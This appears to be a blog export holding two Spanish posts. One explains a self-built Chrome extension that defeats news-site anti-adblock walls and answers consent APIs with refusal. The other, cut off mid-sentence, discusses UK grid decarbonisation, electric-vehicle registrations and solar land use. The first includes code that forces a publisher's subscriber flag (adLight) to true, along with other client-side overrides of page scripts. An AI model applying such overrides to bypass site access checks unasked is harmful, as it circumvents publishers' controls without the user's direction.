puede descargar nada, reescribir ninguna respuesta ni hablar con ningún servidor en tu nombre. Esa restricción dio forma al diseño más que ninguna otra cosa, porque el trabajo interesante tiene que ocurrir dentro de la página.\nDos mundos, un atributo que baja y un evento que sube El código de la página y los ajustes de la extensión viven en mundos distintos Almacenamiento chrome.storage.local protecciones canales de trazado ajustes sociales últimos 50 errores leído y escrito por la página de ajustes Mundo aislado bridge.js social.js portal.js puede leer chrome.storage no puede tocar las funciones de la página Mundo de la página (MAIN) walls.js guard.js portal-early.js envuelve setTimeout, cookie, __tcfapi, window.adLight ningún chrome.* Baja: un atributo en el elemento html, solo lo apagado \u0026lt;html data-ktp-off=\"cookies,dom\"\u0026gt; instalación por defecto: nada escrito Sube: un evento ktp-report detail: una cadena JSON un objeto no cruza de forma fiable Chrome ejecuta los scripts de extensión en dos mundos. El mundo de la página alcanza el propio JavaScript de la página pero no tiene APIs de extensión. El mundo aislado puede leer los ajustes pero no puede tocar las funciones de la página. Todo pasa entre ellos como un atributo que baja y un evento que sube. El mundo MAIN de Chrome comparte el entorno JavaScript de la página12. Un script ahí puede sustituir setTimeout, envolver document.cookie o definir window.adLight antes que la página, y eso es justo lo que hace falta para pelear con estos muros. En la práctica no puede llamar a chrome.storage. El mundo aislado sí puede, pero no ve las funciones de la página. Así que un pequeño puente lee los ajustes y los escribe en \u0026lt;html\u0026gt;, y los errores suben como un CustomEvent cuyo detalle es una cadena JSON, porque un objeto no cruza esa frontera de forma fiable.\nEl atributo que baja solo lista lo que has desactivado. Una instalación por defecto no escribe nada en la página. Eso importa, porque una marca permanente en \u0026lt;html\u0026gt; es justo el tipo de cosa que buscan estos SDK, y porque así un fallo del almacenamiento falla hacia defender la página y no al revés.\nEncuentra la puerta, no pelees con el muro El arreglo de Newsquest son dos líneas de razonamiento, y es con el que se midió todo lo demás.\nTodo su muro depende de una sola bandera en la página:\nvar adLight = false; // line 1647 if (adLight !== true) { …} // line 2020: loader, eval payload, confirm() adLight es la bandera de suscriptor de «pocos anuncios». Si es verdadera, el muro no se levanta nunca. Así que la extensión define window.adLight como true en document_start, antes de que se ejecute el propio script de la página, con un setter que ignora lo que se escriba en él:\nObject.defineProperty(window, \u0026#39;adLight\u0026#39;, { configurable: false, enumerable: true, get() { return true; }, set() { /* ignore the page\u0026#39;s \u0026#34;false\u0026#34; */ } }); Un var al principio de un script no redefine una propiedad que el objeto global ya tiene. Solo le asigna un valor13. Así que el propio var adLight = false de la página se ejecuta, cae en el setter y no hace nada. El cargador del muro no arranca nunca, la carga eval no llega nunca y no hay ninguna comprobación antimanipulación que saltar, porque no se ha manipulado nada. La bandera simplemente dijo que sí.\nEs la única propiedad de toda la extensión que no es configurable. Tiene que serlo para sobrevivir a la declaración. Todo lo demás es configurable: true, para que a ninguna página se le quite para siempre una de sus propias APIs.\nCubre 269 cabeceras y no se puede desactivar en los ajustes, que explican por qué: se ejecuta antes de que chrome.storage pueda responder, y una vez puesta no se puede deshacer. Una casilla sería decoración.\nCada arreglo que lo empeoró Esta es la sección útil, porque cada error aquí es lo primero que a uno se le ocurre probar.\nLo que probé Lo que pasó Bloquear el host del cargador el host es un CNAME first-party aleatorio por cabecera, y una petición fallida es en sí misma la señal de detección Vigilar setAttribute en los scripts inyectados disparó la comprobación de relectura de Sourcepoint, que abrió el diálogo que se quería evitar Responder al confirm() con Cancelar en este SDK, Cancelar significa recargar, así que provocó un bucle de recarga infinito Guardar una copia de \u0026lt;body\u0026gt; en DOMContentLoaded para restaurarla después el muro vacía la página durante el análisis, así que la copia era de un body vacío Vigilar remove() y removeChild() el muro limpia la página con un solo innerHTML = '', no nodo a nodo Vigilarlo todo a la vez en notebookcheck el muro escaló a un diálogo y luego a un bucle de recarga, claramente peor que no hacer nada Redirigir el host del proveedor a un stub local una regla redirect con solo declarativeNetRequest invalidó todo el conjunto de reglas y mató en silencio la regla de Newsquest en 269 sitios Ejecutar los vigilantes de página en todos los sitios parcheó prototipos globales en cada página que visitaba, incluida la de mi banco La redirección merece una segunda mirada. Chrome da a una regla block acceso implícito y exige permiso de host para cualquier otra cosa14. Su documentación dice que las reglas estáticas no válidas se ignoran15. Lo que yo vi fue peor: se fue el archivo entero, sin ningún error en la página, y la regla 1 simplemente dejó de existir en 269 sitios. Por eso las dos reglas de MSN viven ahora en un conjunto propio, para que un mal cambio en uno no se lleve por delante al otro.\nEl bucle de recarga enseñó la otra regla dura. location.reload no se puede interceptar. El objeto Location es infalsificable en el estándar HTML16, así que sus métodos no son modificables ni configurables, e intentarlo da:\nObject.defineProperty(location,\u0026#39;reload\u0026#39;,...) -\u0026gt; TypeError: Cannot redefine property: reload Un muro cuyo camino de fallo es «recarga la página» ya no se puede detener una vez está en ese camino. Con nada. El único arreglo es asegurarse de que nunca llegue ahí. Es la misma lección que con adLight, aprendida por las malas: cada intento de pelear con un muro ya en marcha lo empeoró, y cada arreglo que funcionó impidió que el muro arrancara.\nUn solo temporizador hizo el daño notebookcheck no tiene adLight. El muro se ejecuta siempre. Con el trazado activado, la extensión mostró lo que programaba:\ndropped setTimeout(7005ms) scheduled from eval \u0026lt;- the body.remove() dropped setTimeout(1251ms) / 105ms / 0ms x8 dropped setInterval(15000ms) Uno de esos temporizadores hace todo el daño: el de los 7 segundos que quita \u0026lt;body\u0026gt;. Todo lo que viene después es reacción, porque la página vacía lanza un error, la excepción abre el diálogo, el diálogo recarga la página y todo vuelve a empezar desde arriba con una nueva tanda de temporizadores.\nAsí que el arreglo es una sola regla. Descarta un temporizador si se programó desde código pasado por eval, la página lleva la firma de este SDK y el manejador es una función. La pila dice de dónde vino una llamada, y eval deja su marca en ella.\nbefore: 4 page loads, 3 confirms, reload loop after: 1 page load, 0 confirms, alive 40,378ms, content intact Un temporizador, y todo lo que viene detrás notebookcheck: un temporizador hace el daño, el resto es reacción Tal como se sirve artículo y CSS llegan, dibujados cargador desde html-load.com carga eval fija temporizadores 7,0s: se dispara body.remove() la página vacía falla, se abre confirm() la página recarga y vuelve a empezar 4 cargas, 3 diálogos, bucle de recarga Con la extensión artículo y CSS llegan, dibujados cargador desde html-load.com carga eval fija temporizadores temporizadores eval todos descartados 1 carga, 0 diálogos, viva a los 40 segundos notebookcheck sin y con la extensión. Nada de lo que viene después del temporizador de 7 segundos necesita arreglo, porque nada de eso ocurre una vez descartado ese temporizador. En ese momento había otros dos mecanismos en el build, una redirección del cargador a un stub y un elemento señuelo para absorber las escrituras del muro. Los dos funcionaban, y los dos trataban síntomas de ese único temporizador, cosa que solo quedó clara al probar la regla de temporizadores por separado y ver que bastaba por sí sola. Así que los dos se fueron, y con ellos un permiso y todos los permisos de host. Comprueba siempre si el último cambio basta por sí solo antes de conservar el andamiaje de alrededor.\nLa firma es el atributo data-sdk de la etiqueta del cargador, y encaja con una forma, l/\u0026lt;n\u0026gt;.\u0026lt;n\u0026gt;, en vez de con una versión. En un día aparecieron tres versiones. Se queda enganchada y nunca guarda un negativo, porque puede que la etiqueta del cargador todavía no se haya analizado cuando se programan los primeros temporizadores, y un «no» recordado la desarmaría para siempre en una página que sí lleva el muro.\nLa medición decía que bien. La pantalla, no. The Scotsman y el Yorkshire Post se dieron por arreglados basándose en una medición que contaba texto. La página tenía 8 808 caracteres, 22 elementos bajo \u0026lt;body\u0026gt;, estables a los 2, 8 y 16 segundos. Según esa medida, estaba intacta.\nNo lo estaba. Yo la estaba mirando, y todas las hojas de estilo habían desaparecido, los enlaces eran una lista pelada, el logo SVG llenaba la pantalla y había una barra de desplazamiento horizontal. Todas las palabras estaban ahí, y eso es todo lo que esa medición podía ver. Tuve que señalar la pantalla y decirlo.\nLo que midió la prueba, y lo que había en pantalla Yorkshire Post antes del arreglo: la misma página, medida de dos maneras Lo que midió la prueba innerText.length8 808 hijos de body22 a los 2s, 8s, 16ssin cambios Veredicto: intacta Lo que había en pantalla document.styleSheets.length0 enlaces en lista pelada, logo a todo lo ancho, una barra de desplazamiento horizontal Veredicto: rota Con el decapador descartado al programarse: 2 hojas de estilo, 532 reglas, la página se muestra La misma página, medida de dos maneras. La longitud del texto decía que la página estaba sana. El número de hojas de estilo decía que estaba rota, y el número de hojas de estilo tenía razón. La causa era el decapador de la primera tabla, y no encajaba con la regla de temporizadores, porque es un script inline normal y no eval. Así que su propio código fuente es la firma: una tarea repetida cuyo cuerpo llama a querySelectorAll('link,style') y luego a remove(). Nada legítimo hace eso. Se descarta al programarse, nunca se decapa nada y no hace falta restaurar nada. El Yorkshire Post pasó de 0 hojas de estilo a 2, con 532 reglas, y se mostró bien.\nEncontrarlo necesitó una traza de pila, no una suposición. Parchea Element.prototype.remove para que registre la pila cada vez que quita un STYLE o un LINK, y señaló el script inline y el forEach al primer intento.\nDesde entonces, document.styleSheets.length entró en cada comprobación. Una página sin hojas de estilo está rota, tenga el texto que tenga. Medir es más difícil de lo que parece, y estas son las trampas en las que cayó el build aquel día:\nTrampa Lo que decía Lo que era verdad longitud del texto como prueba de renderizado «intacta» marcado sin estilo una sola muestra tras la carga muros de Reach «ausentes» en ocho cabeceras el muro vive unos 600ms y ya se había barrido consola vacía tras navegar «el vigilante no se dispara» los mensajes de la carga no sobreviven a la navegación muestras a 1s y 4s notebookcheck sano se vacía entre los 5 y los 8 segundos cssRules contado entre orígenes ESPN tenía 5 reglas las hojas de otros orígenes lanzan error, así que la cuenta sale baja El arreglo para el caso de los 600ms es consultar cada 100ms desde el momento en que carga la página. En Wales Online el muro apareció a los 425ms y había desaparecido a los 1 129ms.\nLuego las comprobaciones se hicieron en serio. 52 artículos en 26 dominios, dos por sitio, elegidos para cubrir cada mecanismo: 52 de 52 con hojas de estilo, ningún muro en pantalla, ningún bucle de recarga. Luego 50 enlaces sacados directamente de la portada británica de Google News, no elegidos por mí: 45 se mostraron con normalidad, 2 eran hosts que mi Pi-hole bloquea a propósito, 1 era el muro de pago de verdad de The Times, y 2 eran el mismo artículo aterrizado dos veces porque Google reconstruye el orden de los enlaces en cada carga. Ninguno con cero hojas de estilo. Tres cabeceras de National World que yo nunca había probado aparecieron en esa ronda con el mismo SDK, y las tres se mostraron bien, que es justo para lo que sirve encajar con una forma en vez de con una lista de sitios.\nHay 77 tests unitarios, en el repositorio con todo lo demás. En esta máquina no hay Node, así que se ejecutan en gjs y cargan el walls.js real contra un DOM de sustitución, para que lo que se prueba sean los patrones de producción. Cada uno se comprobó rompiendo lo que vigila y viéndolo ponerse en rojo. Solo prueban decisiones. Que pasen no significa que una página se muestre, y el Scotsman es la razón de que esa frase esté en el README.\nResponder bien a la pregunta del consentimiento Borrar un banner de consentimiento deja la pregunta sin responder. Eso tiene dos consecuencias, y la primera es que el banner se reconstruye en cada carga de página. Y un editor que retiene su contenido hasta que la API de consentimiento responda se quedará colgado sin más, mientras que un proveedor que no recibe respuesta puede tratar la pregunta como si nunca se hubiera hecho. El silencio no es un rechazo.\nAsí que la extensión la responde, en este orden:\nRechazar, decir que no, no guardar nada, y solo entonces quitar A un banner de consentimiento se le responde, no solo se borra Contenedor de un proveedor en pantalla #qc-cmp2-container #onetrust-consent-sdk sp_message_container 1. Pulsar su rechazo Reject all, Decline, Only essential, Continue without accepting solo etiqueta entera, 40 caracteres máx. coincide con Accept: falla el build 2. Responder a la API: no __tcfapi cada finalidad, función y proveedor denegados tcString \"\" tcloaded 3. No guardar nunca el registro euconsent-v2 addtl_consent OptanonConsent didomi_token escrituras de cookie y localStorage descartadas ¿Sigue en pantalla en el siguiente tic? sí: quitarlo, desbloquear el desplazamiento no: el rechazo se mantiene Tres respuestas y un recurso final. Se pulsa el botón de rechazo si lo hay, a la API de consentimiento se le dice que no a todo, el registro nunca se guarda, y solo se quita un banner que siga en pie en el siguiente tic. Primero pulsa su botón de rechazo. Solo botones cuya etiqueta entera sea un rechazo: «Reject all», «Decline», «Only essential», «Continue without accepting» y algunos más, cada uno anclado, y todo lo que pase de 40 caracteres se ignora. Un test unitario le da «I Accept», «Accept All», «Agree and close», «Allow all», «Got it», «Subscribe» y «Pay £2.99/mo» y hace fallar el build si alguno coincide. Pulsar el botón equivocado sería consentir en tu nombre, y eso es lo único que este proyecto no debe hacer nunca. En msn.com, pulsar «Reject All» hizo desaparecer el banner de Microsoft y no volvió al recargar, porque Microsoft guarda el rechazo en sus propios servidores.\nResponde que no a la API de consentimiento. El marco del IAB da a cada página que pide consentimiento una función llamada __tcfapi para preguntar a qué has accedido17. Donde existe, la extensión la responde con cada finalidad, cada función especial y cada proveedor denegados, una cadena de consentimiento vacía y eventStatus: 'tcloaded', que significa que la respuesta es definitiva. Solo aparece donde ya hay un marco de consentimiento en la página, así que un sitio que nunca preguntó no la ve.\nNunca guarda el registro. document.cookie y localStorage descartan en silencio euconsent-v2, addtl_consent, OptanonConsent, didomi_token y el resto, para que un consentimiento que nunca diste no se escriba nunca ni se reproduzca ante 1 467 socios en la página siguiente. La ley británica ya exige consentimiento antes de guardar nada en tu dispositivo para esto18. La extensión hace cumplir el no.\nCada nombre de esa lista está anclado por los dos extremos, y detrás hay una historia. Las cookies de Sourcepoint empiezan por _sp_. Un patrón descuidado sp_ también pilla sp_dc y sp_t de Spotify, que son la sesión de inicio, y me habría desconectado de Spotify en cada página. Un test también fija eso.\nQuitar es el recurso final. Solo para un banner que siga en pantalla después del clic, y solo para un banner que de verdad se esté mostrando. Varios proveedores dejan un envoltorio permanente en la página, haya banner o no. euronews mantiene un host de Didomi con altura cero, y arrancarlo rompe la página sin ganar nada. El de Reach estaba tres niveles por debajo de \u0026lt;body\u0026gt;, dentro de dos envoltorios que no son fijos, así que la comprobación tiene que bajar hasta la caja que sí lo es.\nBotones de compartir, y un portal que ignora sus propios ajustes Otras dos cosas de estas páginas existen para servir a alguien que no es el lector, y necesitaban un trato distinto al de los muros.\nBotones de compartir y seguir. Cada enlace a Facebook, Instagram, X, TikTok o LinkedIn se reescribe a http://localhost/removeme, con el original aparcado en un atributo para que no se pierda nada. Luego una segunda pasada borra lo que es claramente mobiliario (un icono sin texto, «Share on X», todo lo que esté en un contenedor que se llame share o social) y oculta el resto. La marca está ahí para que un solo selector muestre todo lo que está a punto de irse, y un modo de solo marcar se detiene tras la primera pasada para que puedas mirar antes de fiarte de ella en un sitio.\nLa versión ingenua rompe páginas de tres maneras, y cada una es ahora un test:\nVersión ingenua Lo que rompe Lo que se hace en su lugar a[href*=\u0026quot;x.com\u0026quot;] también pilla netflix.com, linux.com, phoenix.com analizar el host y comparar etiquetas enteras quitar cada enlace social «Continue with Facebook» desaparece y la gente se queda fuera enlaces de inicio de sesión, OAuth, legales y de desarrolladores intactos quitar un enlace dentro de una frase las palabras se van con él ocultar por defecto; una opción lo desenvuelve y conserva las palabras Esa última es una concesión que hice a sabiendas. Una despedida de la BBC queda así: «follow BBC Manchester on , , and .». Lo miré y aun así elegí ocultar. La opción de conservar las palabras está ahí para quien no esté de acuerdo.\nMSN y Bing. Los dos funcionan con los mismos web components, unas 160 shadow roots en la portada. Una consulta simple al documento encontró 1 enlace. Recorrer las shadow roots encontró 73, incluidos los mosaicos de Facebook y X. Lo que no las recorre no ve casi nada.\nMSN sí tiene sus propios ajustes de contenido. Se guardan en los servidores de Microsoft, ligados a un identificador anónimo, no en una cookie, así que desaparecen tras borrar las cookies, en un perfil nuevo y en modo incógnito. A Bing no llegan en absoluto. Y con todos desactivados y 11 700 píxeles de desplazamiento, esto era lo que seguía en el feed:\nInterruptor propio de MSN, apagado Sigue en la página Casual Games el mosaico de Juegos Shopping mosaicos publicitarios de Booking, Temu y eBay Comments 501 enlaces de comentarios Weather, Finance, Sports desaparecen, hasta el próximo borrado de cookies Un interruptor llamado Comments que deja 501 enlaces de comentarios en la página es una afirmación hecha al usuario, y una afirmación falsa. Así que la extensión los quita ella misma, apuntando a los nombres de componente estables de MSN en lugar de a sus nombres de clase, que cambian con cada build.\nUna cosa que aprendí ahí y que vale mucho más allá de MSN: quitar una imagen de la página no impide que se cargue. Chrome empieza la descarga en cuanto se asigna src, incluso para una imagen que nunca se mete en la página19. Para cuando un content script ve una tarjeta, su miniatura ya va por el cable. Así que los datos del feed se bloquean en los dos puntos de acceso que los sirven, y nunca los hosts de imágenes, porque th.bing.com también sirve la búsqueda de imágenes de Bing.\nY el feed de MSN todavía parpadea un momento en pantalla antes de desaparecer. Cuatro intentos de ocultarlo antes se midieron todos como eficaces y ninguno paró el parpadeo, lo que significa que lo que se pinta no es lo que la extensión oculta. La página de ajustes lo dice claramente. Prefiero que lo diga a que insinúe una carga limpia que no entrega.\nLo que no hace No va a Porque abrir un muro de pago de verdad si el servidor retiene el artículo, sigue retenido adivinar con un sitio un dominio solo entra después de ver su muro ahí; dos sitios de News Corp que se suponían iguales a Page Six no lo eran, y volvieron a salir tocar un sitio sin firma en la BBC cada gancho está instalado y no se registra nada, ningún temporizador descartado, ningún nodo tocado llamar a casa sin permisos de host, sin acceso a la red, sin telemetría; el registro de errores se queda en tu navegador fingir el parpadeo de MSN no está resuelto, y una variante de Ad-Shield, wp-ls/…, todavía no encaja; su página se mostraba bien, así que queda anotado en vez de arreglado a ciegas Una página que te han enviado es tuya Una vez que un servidor ha enviado una página a tu navegador, esa copia está en tu máquina. Ejecutar código sobre ella después para quitártela no es un modelo de negocio que yo reconozca. Es el viejo truco de venderte algo y seguir con la mano encima.\nLos periódicos eran algo que comprabas y luego poseías: alguien en la esquina tenía un montón, dabas el dinero, y se venía a casa contigo y era tuyo, para leerlo, doblarlo, prestarlo o encender la chimenea con él. Nadie pasaba por casa una hora después a recortar la segunda página porque te habías saltado los anuncios. La versión web regaló el periódico y luego vendió al lector. Primero a los anunciantes, luego a los 1 467 socios, y ahora a un proveedor cuyo producto entero consiste en decidir si te has portado lo bastante bien como para quedarte con lo que te dieron.\nLo que no consigo tragarme es la hoja de estilo. Un periódico que deja que el servidor de una empresa de publicidad decida si su propia maquetación sobrevive ha regalado su propia portada. No lo habrá sabido, porque nadie dentro bloqueaba el host, así que el primero en enterarse fue un lector con un Pi-hole, delante de una página llena de enlaces pelados, al que un cuadro de diálogo le decía que la culpa era suya. No lo era.\nEl periodismo tiene un precio, y no tengo ningún problema en pagarlo. Lo que no voy a hacer es dejar que un script decida lo que ya tengo. Esa raya se traza en mi navegador, no en el suyo.\nPi-hole documentation — «The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNewsquest — About us — «We are the leading local news publisher in the UK with a portfolio of more than 200 brands.» Las marcas no son dominios, de ahí la cifra más alta sacada de los certificados.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDaily Business, 18 de diciembre de 2024 — «National World, owner of The Scotsman and Yorkshire Post, has reached agreement on a £65.1 million takeover by Irish publisher Media Concierge.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nReach plc — About us, archivado el 5 de septiembre de 2026 — «120+ brands, from household names like the Mirror, Express, Daily Record and Daily Star, to local titles like MyLondon, BelfastLive and the Manchester Evening News».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDimova et al., «The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion», PETS 2021 — el CNAME cloaking «effectively bypasses antitracking measures that rely on fixed hostname-based block lists.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nuBlockOrigin/uAssets, incidencia #30988, clasificada por los mantenedores bajo la etiqueta «Ad-Shield», con el mensaje servido desde error-report.com: «Failed to load website properly since html-load.com is blocked.» Véase también Jacob Desforges, «Ad-Shield ad reinsertion», 12 de abril de 2026. La atribución es de la comunidad de listas de filtros; el proveedor no revela nada.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSourcepoint — Anti-adblock FAQs, archivado el 25 de mayo de 2022 — «Historical experience shows on average about 30% of messaged users will turn off their adblockers.» La misma página pregunta si «a CNAME applied to a 1st-party subdomain» impediría que se bloquee el script de detección.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAdExchanger, 16 de agosto de 2023 — «InMobi acquired Quantcast’s consent management platform, called Quantcast Choice».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUK GDPR, Article 7 — «utmost account shall be taken of whether, inter alia, the performance of a contract, including the provision of a service, is conditional on consent». Considerando 42: el consentimiento no se da libremente «if the data subject has no genuine or free choice».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICO — Consent or pay, publicado el 23 de enero de 2025 — «“Consent or pay” models can be compliant with data protection law if you can demonstrate that people can freely give their consent». La página dice ahora que la orientación está en revisión tras la Data (Use and Access) Act.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEDPB Opinion 08/2024, adoptado el 17 de abril de 2024 — «In most cases, it will not be possible for large online platforms to comply with the requirements for valid consent if they confront users only with a binary choice». Trata de las grandes plataformas en línea, no de los periódicos regionales.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — content_scripts manifest key — «Choosing the \u0026ldquo;MAIN\u0026rdquo; world means the script will share the execution environment with the host page\u0026rsquo;s JavaScript.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nECMAScript — CreateGlobalVarBinding — «If a binding already exists, it is reused and assumed to be initialized.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — declarativeNetRequest — «provides implicit access to allow , allowAllRequests and block rules», y si no «you must request host permissions before you can perform any action on a host.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — declarativeNetRequest — «Errors and warnings about invalid static rules are only displayed for unpacked extensions. Invalid static rules in packed extensions are ignored.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHTML Standard — the Location interface marca sus miembros como [LegacyUnforgeable], lo que en Web IDL significa «the property will be non-configurable and will exist as an own property on the object itself».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIAB Tech Lab — TCF v2 CMP API — «Every consent manager MUST provide the following API function: __tcfapi(command, version, callback, parameter)».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPECR, regulation 6 — «a person must not store information, or gain access to information stored, in the terminal equipment of a subscriber or user», con el consentimiento como condición en Schedule A1, modificado por la Data (Use and Access) Act 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHTML Standard — update the image data — se ejecuta «whenever that element is created or has experienced relevant mutations», también cuando se asigna su src; estar en el documento no es una condición.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/random/the-news-site-sent-me-the-article-then-deleted-it/","summary":"Newsquest, National World, Reach y otros envían a tu navegador el artículo completo con sus hojas de estilo y luego ejecutan código comercial anti-adblock y de consentimiento que vacía la página, borra cada hoja de estilo cada 100ms o la tapa con la elección entre 1 467 socios de rastreo y £2,99 al mes. Aquí se explica qué hace ese código, las cuatro razones por las que lo llamo malware y la extensión de Chrome que construí en un día para conservar la página: fijar la bandera adLight de Newsquest antes de que se levante el muro, descartar los temporizadores programados desde eval, matar el decapador de hojas de estilo al programarse y rechazar el consentimiento como es debido, respondiendo que no a la API TCF, pulsando el propio botón de rechazo del proveedor y sin guardar nunca el registro. Después, los arreglos que lo empeoraron, la medición que dio por buena una página rota, los botones de compartir y el feed de MSN, y lo que la extensión no hace.","title":"El sitio de noticias me envió el artículo y luego lo borró"},{"content":"Del carbón a nada en catorce años El panel de National Grid de Kate Morley te deja fijar la ventana y ver moverse los números.1 El conjunto de datos empieza en 2012, que resulta ser el pico del carbón, así que la columna de todo el histórico es la limpieza entera en una sola cifra.\nHistórico (2012–) Último año Última semana Último día Intensidad de carbono 251 g/kWh 124 g/kWh 98 g/kWh 67 g/kWh Carbón 12,4 % 0,0 % 0,0 % 0,0 % Gas 33,5 % 27,0 % 21,2 % 15,9 % Viento 19,5 % 34,8 % 46,0 % 64,1 % Solar 3,7 % 7,4 % 8,3 % 11,1 % Nuclear 18,3 % 12,0 % 12,0 % 12,9 % Total fósil 45,8 % 27,0 % 21,2 % 15,9 % Total renovable 24,4 % 43,6 % 55,8 % 76,6 % Demanda 32,6 GW 30,9 GW 28,4 GW 25,8 GW Precio £70,13/MWh £92,77/MWh £125,01/MWh £27,18/MWh El viento es hoy la mayor fuente individual de electricidad de Gran Bretaña. Un 34,8 % a lo largo de un año completo, frente al 27 % del gas y el 12 % de la nuclear. No en un buen día. Doce meses.\nEl carbón está a cero. No bajo. Cero, durante un año. La última central cerró el 30 de septiembre de 2024, ciento cuarenta y dos años después de que abriera la primera del mundo en Londres en enero de 1882, lo que significa que este país inventó la electricidad de carbón y luego tardó buena parte de siglo y medio en decidirse a apagarla.1 La intensidad de carbono se ha reducido a la mitad frente a la media de catorce años, de 251 a 124. La mitad, en catorce años.\nLa demanda que desapareció Mira otra vez la fila de la demanda. 32,6 GW en la media larga, 30,9 en el último año. Lleva veinte años bajando, unos 5 TWh al año desde 2005.\n2005 2023 Demanda doméstica 126 TWh 93 TWh Demanda industrial 117 TWh 86 TWh Hogar medio 4 662 kWh (2007) 3 449 kWh Los hogares soltaron 33 TWh en ese tramo mientras el país enchufaba millón y medio de coches eléctricos y un cuarto de millón de bombas de calor.2 Las normas de ecodiseño de la UE hicieron buena parte de ese trabajo; solo la reglamentación de iluminación ahorró 81 TWh en toda la UE en 2020.3 La eficiencia no solo absorbió los coches eléctricos, los sepultó.\nDos matices, porque este se exagera. La demanda industrial también cayó, de 117 TWh a 86, y eso son sobre todo fábricas cerrando y no fábricas volviéndose listas. Y el descenso se acabó. 2024 fue el primer año en casi dos décadas en que la demanda volvió a subir.2\nLos coches que iban a romperla Este es el parque que la red absorbió, sacado tal cual de las tablas de matrícula de la DVLA. Vehículos eléctricos de batería matriculados en Gran Bretaña al final de cada año.4\nAño Coches Furgonetas Autobuses Camiones Motos Total 2015 20 472 4 786 194 314 917 26 756 2017 41 222 6 401 303 283 1 046 49 334 2019 89 581 10 479 504 269 2 790 103 724 2021 374 597 28 245 1 295 331 9 118 413 908 2023 916 576 64 988 3 188 732 14 142 1 000 092 2024 1 266 421 84 959 4 821 983 14 039 1 371 779 2025 1 708 499 111 837 7 450 1 472 13 460 1 843 395 Los coches se han multiplicado por ochenta y tres en diez años, el parque entero por sesenta y nueve. El vehículo eléctrico un millón aterrizó a finales de 2023 en 1 000 092, que es lo más cerca de la nariz que llega una estadística. Nadie lo planeó.\nTres cosas en esa tabla que no salen en un titular.\nLos camiones apenas han empezado. 1 472 camiones eléctricos en toda Gran Bretaña, y la cifra incluso bajó entre 2015 y 2020, hasta 253. Los coches siempre fueron la parte fácil. Esta es la difícil y no ha empezado de verdad.\nLas motos eléctricas van hacia atrás. 14 142 en 2023, luego 14 039, ahora 13 460. Dos años de caída, la única categoría que encoge mientras todo lo demás se acumula.\nLos porcentajes se frenan y la chapa no. El crecimiento de coches fue del 114 % en 2020 y del 35 % en 2025. Pero 2025 puso 442 000 coches en la carretera frente a los 350 000 de 2024. Un porcentaje que baja sobre un número grande sigue ganando a un porcentaje grande sobre uno pequeño.\nSobre adónde va esto, los Future Energy Scenarios 2025 de NESO sitúan a Gran Bretaña en 31 millones de vehículos eléctricos en 2050 bajo Holistic Transition, 33,4 millones bajo Electric Engagement y 36,1 millones bajo Hydrogen Evolution.5 Los 1,84 millones de hoy son alrededor del seis por ciento del camino.\nUn detalle de esos escenarios merece nota: la flexibilidad disponible por la recarga inteligente bajó este año, de 16 GW a 10 GW. Baterías más grandes significan recargas menos frecuentes y más largas, y menos que mover de sitio.5\nLa demanda que nunca llegó a aparecer Hay una segunda cosa empujando la demanda hacia abajo, ojo, y no es la eficiencia.\nAutoconsumo Solar, sin batería 30–40 % Solar más batería 80–90 %6 Dos millones de instalaciones solares en el Reino Unido ya, 22,3 GW entre todas, y más del 30 % de los sistemas nuevos entran con batería frente al 10 % de hace cinco años.6 Pon almacenamiento detrás de los paneles y la mayor parte de lo que hace el tejado nunca cruza el contador.\nEsa energía no se ahorra. Sencillamente ha dejado de contarse. El contador es lo único que cambió.\nAño Potencia solar añadida 2021 ~0,4 GW 2022 ~0,5 GW 2023 1,9 GW 2024 2,3 GW 2025 2,6 GW Por seis en cinco años, y la forma te dice por qué. 2021 y 2022 fueron planos. Luego llegaron las facturas, la gente hizo la cuenta, y la solar dejó de ser una decisión ambiental para ser una financiera.\nNuestra casa está en algún punto de esa tabla. Nueve kilovatios en el tejado, treinta kilovatios hora de batería debajo, dos coches y el aire acondicionado bebiéndose la generación del día. Desde el punto de vista de National Grid, esta dirección lleva años encogiendo en silencio. Desde el punto de vista de la física, no. La energía solo dejó de aparecer en el gráfico de nadie.\nLa guerra contra lo que sí funcionó Nada de lo anterior pasó por casualidad, y hay un esfuerzo en marcha para parar el resto.\nReform se llevó diez ayuntamientos ingleses en mayo de 2025 y dijo que usaría «every lever» para bloquear nuevos proyectos eólicos, solares y de baterías. Carbon Brief cifró lo que está en riesgo en unos 6 GW: 5 076 MW de proyectos de baterías, 786 MW de solar y 56 MW de eólica en esas diez zonas.7 El portavoz de energía del partido escribió a promotores de Lincolnshire para decirles «this is war», y envió notificación formal a los consejeros delegados de SSE Renewables, Octopus Energy, Centrica y Equinor de que un gobierno de Reform rompería sus contratos.7\nPoniendo a prueba el argumento de la tierra de cultivo La razón declarada es la tierra de cultivo y la seguridad alimentaria. Esa afirmación se puede comprobar, así que comprobémosla.\nUso del suelo Superficie Parte del Reino Unido Solar en suelo, septiembre de 2024 21 200 ha ~0,1 %8 Lo mismo, medido por satélite 15 580–17 364 ha 0,06–0,07 %9 Campos de golf 125 000 ha ~0,5 %10 70 GW de solar para 2035 n/d menos del 1 % de la tierra agrícola10 La solar cubre alrededor de una décima parte del uno por ciento de este país. El golf cubre grosso modo cinco veces más, y en todos los años que alguien lleva preocupándose en voz alta por la seguridad alimentaria británica nadie ha escrito ni una vez a un club de golf para declararle la guerra. Ni una carta.\nHay un argumento real enterrado bajo el 